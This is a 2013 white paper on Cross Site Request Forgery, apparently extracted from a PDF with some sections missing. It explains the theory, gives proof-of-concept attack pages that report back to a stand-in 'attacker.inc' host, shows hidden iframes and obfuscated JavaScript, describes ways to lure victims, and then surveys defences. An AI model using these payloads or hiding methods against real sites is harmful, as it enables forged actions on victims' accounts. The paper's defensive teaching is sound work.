Cross Site Request Forgery: Vulnerability Overview
Cross Site Request Forgery: Vulnerability Overview
VULNERABILITY OVERVIEW
WHITE PAPER
PUBLIC
1.0 Acadion Security http://www.acadion.nl/ February 6, 2013 Koornmarkt 46 2611 EH Delft Nederland +31 (6) 141 34 081
Phone:
February 7, 2013 2 of 15
Table of Contents
1. 2. Introduction .................................................................................................................................................... 3 CSRF in Theory ............................................................................................................................................. 3 2.1. 2.2. 2.3. 3. Integrity Violation .................................................................................................................................. 3 Activate XSS and SQL Injection .......................................................................................................... 4 Call web services .................................................................................................................................. 4
CSRF in Practice ........................................................................................................................................... 5 3.1. Creating the webpage .......................................................................................................................... 5 Simple HTML ................................................................................................................................ 5 Auto Submitting Form .................................................................................................................. 6 Pure Javascript ............................................................................................................................. 6 Client Side Programming Languages......................................................................................... 7
Hiding the webpage .............................................................................................................................. 8 Hiding the payload ................................................................................................................................ 8 URL shortening ............................................................................................................................. 8 JavaScript obfuscation ................................................................................................................. 9
Luring the victim .................................................................................................................................... 9 Email ............................................................................................................................................ 10 Forum .......................................................................................................................................... 10 Persistent XSS............................................................................................................................ 10
Solutions....................................................................................................................................................... 10 4.1. 4.2. 4.3. 4.4. 4.5. Confirmation Screens ......................................................................................................................... 10 Challenge Response .......................................................................................................................... 11 Referer Header ................................................................................................................................... 11 Double Submit Cookie ........................................................................................................................ 11 Random Form Tokens ........................................................................................................................ 12
5.
Proposals ..................................................................................................................................................... 12 5.1. 5.2. 5.3. Origin Header ...................................................................................................................................... 13 Separate Browser Cookie Stores ...................................................................................................... 13 Policy file.............................................................................................................................................. 13
6. 7.
February 7, 2013 3 of 15
1. Introduction
In the beginning of the 2000s the security community discovered a new type of attack which was first recognized as a confused deputy problem but later came to be known as a Cross Site Request Forgery attack. A CSRF, sometimes called an XSRF, vulnerability exists when a web application fails to properly verify the origin of a request. This paper will look at what CSRF is in theory, in practice and what the possible solutions are. The final chapter will discuss proposals for future solutions to CSRF.
2. CSRF in Theory
When the HTTP protocol was first developed it used a simple request response model. A single request to a web server would generate a single response. Although pages could consist of multiple resources like text and images there was no connection between multiple requests. A web server did not care what resources were accessed by whom and from where; the server merely served up resources. People realized that this model made the web server limited. What if you wanted to serve a resource only to a specific user? Perhaps because the resource contained sensitive information. To make this possible HTTP was extended using what are called cookies. The web server could respond to a request by asking the client to store a cookie, the client would store this cookie and send it back to the server with future requests. By storing a unique random value in this cookie the server could differentiate between users and thus perform authorization. The way clients implemented this was to create a single cookie store in memory. Whenever the user generated a request for any resource that matched the settings of cookies in the store the matching cookies would be added to the request. Although some small changes have been made to how cookies are used in browsers this basic model is what is used today in all web applications. Although this model works well for determining that a request was sent by the client of a logged in user it works less well for determining that a request was sent by the user. This is an important distinction, although the user can direct the browser to send requests, webpages themselves can also automatically direct a browser to send a request on a users behalf without any intervention from the user. By design it is possible for any webpage anywhere on the internet to send a request to any URL it pleases. On top of this the browser, because it has only a single cookie store, will automatically add the necessary session cookies to these requests. If the server does not verify the origin of the request it will execute them and the user will end up authorizing a request he does not want to see happen.
February 7, 2013 4 of 15
In such a web application the bank would have a specific URL that would transfer the money to another account. It could look like this:
http://example.bank.tld/transfer?acc=12345678&amount=1000
The request to this URL would be authorized by the session cookie stored in the browsers memory. The account number to send the money to and the amount of money to send are both in the URL. An attacker that knows the format of this URL, perhaps because the attacker is also a customer at the bank, could create a website that includes a link to this URL, he would fill in his own account number and lure another customer of the bank to this webpage. The banks web application would see a proper request by an authenticated user and execute the request, effectively moving money from the victims account to the attackers account. Of course this is just a specific example of what could go wrong. In reality web applications contain a lot of functionality that isnt quite so sensitive. Still, if a web application performs any function that is limited to a specific user, by definition, it should not be accessed this way by an attacker. Even if the functionality that is being abused is as simple as setting a name on a profile page it should still be protected or otherwise turned into a public feature.
February 7, 2013 5 of 15
3. CSRF in Practice
So what would an actual CSRF attack look like in practice? This chapter will deal the specific techniques that could be used to mount such as attack. The chapter will contain code examples to show the proof of concept for executing a CSRF attack as well as several other techniques that can help in hiding an attack.
Although some of these tags are no longer officially supported in the latest HTML standards they are generally still supported by browsers. The example code in the table occasionally includes a height and width parameter. This is included because some tags require a size in order to be used on a webpage. It was reported that in some cases browsers would not execute requests for certain resources if the size of
Copyright 2013 Acadion Security
February 7, 2013 6 of 15
the object to display was zero by zero pixels large. Testing each version of each browser in existence would take too much time. Fortunately as an attacker we can compensate for this problem by giving objects a size of one by one pixel. It would be too small for a user to see yet still force the browser to send a request. Although these tags are easy to use and get the job done for simple CSRF vulnerabilities they do suffer from a limitation; they will only generate GET requests. If our CSRF vulnerability can only be used through a POST request we will need a different technique. 3.1.2. Auto Submitting Form A second technique is to use the form tag to build a complete GET or POST request and to automatically submit the request using JavaScript when the page is loaded. Example code would look like this:
<html> <body> <form name="attack" action="http://example.com/exploit" method="post"> <input type="hidden" name="var" value="data" /> </form> <script type="text/javascript">
document.attack.submit();
</script> </body> </html>
In the above script the method parameter in the form tag is set to the value post, this causes the browser to send out a POST request. If a GET request is needed instead the value get can be used. Any variables that need to be included in the request can be added using the hidden input fields. This technique does come with a significant drawback however, the page will generate the request and the browser window will show the response to that request to the user. To prevent the user from detecting the attack we will have to hide this page. The method for hiding the page will be explained further on in this paper. 3.1.3. Pure JavaScript An alternative method for sending a request automatically by the browser is by using a pure JavaScript solution. The first of these methods is using the Image object.
<html> <head> <script type="text/javascript"> objImage = new Image(); objImage.onLoad = imageLoaded(); objImage.src = 'http://example.com/exploit?payload'; function imageLoaded() { document.location.href='http://attacker.inc/itworked'; } </script>
Copyright 2013 Acadion Security
February 7, 2013 7 of 15
</head> </html>
The code above directs the browser to perform a GET request to retrieve an image. Obviously the vulnerable web application will not provide an image in response but the attacker will not care because he doesnt want the user to see anything anyway. An added benefit of this technique is that it is possible to assign an onLoad function that will be called when the image request has been performed. This function can then be used to notify the attacker that the attack was successful. A drawback of this technique is that the browser will only send a GET request, it cannot be used to send a POST request. A second pure JavaScript technique is by using the XMLHttpRequest object. A simple JavaScript that uses this object works like this:
var http = new XMLHttpRequest(); http.open("GET", "http://example.com/exploit?payload", true); http.onreadystatechange = function() { if(http.readyState == 4) { document.location.href='http://attacker.inc/itworked'; } } http.send(null);
Additionally it is also possible to send a POST request with this technique using the following code:
var params = "payload"; var http = new XMLHttpRequest(); http.open("POST", "http://example.com/exploit", true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.setRequestHeader("Content-length", params.length); http.setRequestHeader("Connection", "close"); http.onreadystatechange = function() { if(http.readyState == 4) { document.location.href='http://attacker.inc/itworked'; } }
A potential downside to this technique is that not all browsers support this type of request. Some browsers give the object a different name and some older browsers dont support this functionality outright. 3.1.4. Client Side Programming Languages The final technique for automatically sending requests in a browser is by use of browser plugins such as Adobe Flash, Java applets, Silverlight and Flex. Although these languages offer the ability to send requests there are significant disadvantages to using these techniques. The biggest of which is the same origin policy. By default these programs will not allow any requests to hosts that are not the same host as they were loaded from. An attacker program could therefore only access the attackers website and not any other.
February 7, 2013 8 of 15
Exceptions to this rule exist though. In Java the exception is when an applet is signed using a valid certificate and the user clicks on ok in a warning message. Vulnerabilities occasionally exist in the Java sandbox that enforces this rule but barring such methods this restriction will make any CSRF attack infeasible. Flash/Flex and Silverlight restrict access by asking for permission from the domain that is being accessed. This is implemented by retrieving a policy file called crossdomain.xml or clientaccesspolicy.xml. If the originating domain is in the allowed list the request is allowed through. For most CSRF attacks the same origin policy is too big a hurdle to cross, especially since the other methods are already very good.
Setting a size of one by one will ensure that the iframe isnt optimized away by the brow ser, and lacking the frameborder will make it even more invisible. If the single pixel that is still visible bugs the attacker he can go even further and use the following code:
<iframe src="http://attacker.inc/evilpage" style="width: 1px; height: 1px; visibility: hidden; border: 0; border-style: none; frameborder: 0;" ></iframe>
Using the CSS visibility directive will make the iframe completely invisible, but it will still be loaded.
February 7, 2013 9 of 15
URL shortening can be used both for obfuscating the URL to the attackers malicious page as well as shortening the URL to the victims web application. 3.3.2. JavaScript obfuscation In addition to the URLs that are in use by the attacker there is also the website itself that contains suspicious code. Again, the internet can help an attacker out. There are a number of JavaScript obfuscation tools available that will hide the code that is being used. These services are normally used by developers that dont want their copyrighted code stolen. A well-known obfuscator can be found at http://www.javascriptobfuscator.com/. If we use this obfuscator on our XMLHttpRequest example code above we get the following output: var _0x796d=["\x70\x61\x79\x6C\x6F\x61\x64","\x50\x4F\x53\x54","\x68\x74\x74\x70\x3A\x2F\x2F\x65\x 78\x61\x6D\x70\x6C\x65\x2E\x63\x6F\x6D\x2F\x65\x78\x70\x6C\x6F\x69\x74","\x6F\x70\x65\x6E","\x 43\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E \x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x 73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74 \x2D\x6C\x65\x6E\x67\x74\x68","\x6C\x65\x6E\x67\x74\x68","\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F \x6E","\x63\x6C\x6F\x73\x65","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E \x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x 69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x61\x74\x74\x61\x63\x6B\x65\x72\x2E\x69\x6E\x63\x2F \x69\x74\x77\x6F\x72\x6B\x65\x64"];var params=_0x796d[0];var http= new XMLHttpRequest();http[_0x796d[3]](_0x796d[1],_0x796d[2],true);http[_0x796d[6]](_0x796d[4],_0x796 d[5]);http[_0x796d[6]](_0x796d[7],params[_0x796d[8]]);http[_0x796d[6]](_0x796d[9],_0x796d[10]);htt p[_0x796d[11]]=function (){if(http[_0x796d[12]]==4){document[_0x796d[14]][_0x796d[13]]=_0x796d[15];} ;} ;
February 7, 2013 10 of 15
3.4.1. Email Email is the most obvious method for contacting a user. An attacker can simply send an email to a user that he suspects has an account on the vulnerable website. Have the user click a link in this email and hope that the user is already logged in to the website. This method is of course not very effective as it requires cooperation from the victim and the chosen method, email, is already widely known as suspect. Directly contacting a user and asking him to click on a link is a tactic that is not limited solely to email. Leaving a message on a Twitter account, posting to a Facebook wall and sending a request through a dating website are all just as good. 3.4.2. Forum A more targeted tactic could be to use the vulnerable website against itself. If for example the target website is a forum and the users to be exploited are the users or administrators of that forum it could simply suffice to leave a message on the forum for anyone to see. Various users of that website will undoubtedly see the message and since they are using the website at that time they are more likely to be logged in. If and when they click on the link out of curiosity they will most certainly be exploited. 3.4.3. Persistent XSS The most potent tactic of abuse is a persistent Cross Site Scripting flaw on the website itself. A persistent XSS flaw allows an attack to leave a bit of HTML or JavaScript on a webpage that will be loaded by other users when they visit the website. Because the attacking code is on the website itself the users that visit the website are likely to be logged in. In addition the attacking code is located within the page itself and will be automatically loaded by the victims browser. In such a scenario there is nothing that a user can do to protect himself and exploitation is guaranteed.
4. Solutions
Many solutions exist to defend against CSRF. Unfortunately not all of these solutions work and despite this type of attack having been known for more than a decade websites are still frequently vulnerable to this type of attack.
February 7, 2013 11 of 15
February 7, 2013 12 of 15
also relatively easy to implement since the web application only needs to verify that the parameter value is the same as the cookie value. This solution effectively defends against CSRF attacks and does not suffer from the side effect of being dependent on the correct functioning of other software for its security. However, it does come with a significant drawback. Web applications use the session cookie to identify users and authorize requests. There exists another security risk where an attacker gains access to the session cookie, configures his own browser with this cookie and gains access to the web application as another user. A common attack vector for this risk is to use an XSS vulnerability to load JavaScript in a victims browser that reads the session cookie and sends it to the attacker. To prevent this type attack the security community has created the HttpOnly flag. This flag is added to a cookie and directs the browser not to allow access to the cookie using JavaScript. The double submit cookie technique makes this extra security measure superfluous because it is no longer necessary to access the cookie to get the session value. This value can simply be read directly from the webpage.
5. Proposals
The previous chapter has shown that there are a number of solutions to CSRF that can be used and that it is possible to write a security web application using these solutions. However, even the best solution that exists now is not very easy to implement and can be easily forgotten to be added to the web application. This chapter will look at some additional protections that could be used to further protected against CSRF.
February 7, 2013 13 of 15
February 7, 2013 14 of 15
If the POST request originates from the same domain it is immediately allowed without accessing the policy file. If the request originates from a different domain than the browser retrieves the policy file using a GET request to /crosspost.xml. If the file does not return a 200 OK the POST request is allowed for backwards compatibility reasons. If the server responds with a 200 OK the contents are parsed. If the parsing fails or the file is empty the POST request is denied. If the parsing succeeds but the originating domain is not in the list of allowed domains the POST request is denied. If the parsing succeeds and the originating domain is in the list of allowed domains the POST request is allowed.
This method does not have any privacy concerns since the browser does not have to divulge where the request came from. It is also easy to implement as a web application merely has to include this one file and all application functionality is immediately protected. New functionality that is later added to the web application will also be immediately protected. This solution is also fairly well known as it is essentially the same as what Flash and Silverlight do. This proposal does have a drawback in that it only works for POST requests and not for GET requests. Although it could be extended to include GET request it is questionable whether this would be feasible as the number of requests necessary to show a webpage would increase and loading times for normal use would be impacted.
6. Conclusion
This paper has given a complete overview of the vulnerability type Cross Site Request Forgery. It has shown how the vulnerability works from a high level as well as how an attacker could implement this in practice using code examples. It has shown that although solutions currently exist to address this vulnerability none of the commonly used solutions provide very good protection. The final chapter has
February 7, 2013 15 of 15
looked at some existing proposals and included an entirely new proposal in the final paragraph that should significantly reduce the occurrence of CSRF attacks on the internet if adopted.
7. References
[1] Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet [2] Cross-Site Request Forgery (CSRF) https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) [3] Making a Service Available Across Domain Boundaries http://msdn.microsoft.com/en-us/library/cc197955(v=vs.95).aspx [4] Cross-domain policy for Flash movies http://kb2.adobe.com/cps/142/tn_14213.html [5] CWE-352: Cross-Site Request Forgery (CSRF) http://cwe.mitre.org/data/definitions/352.html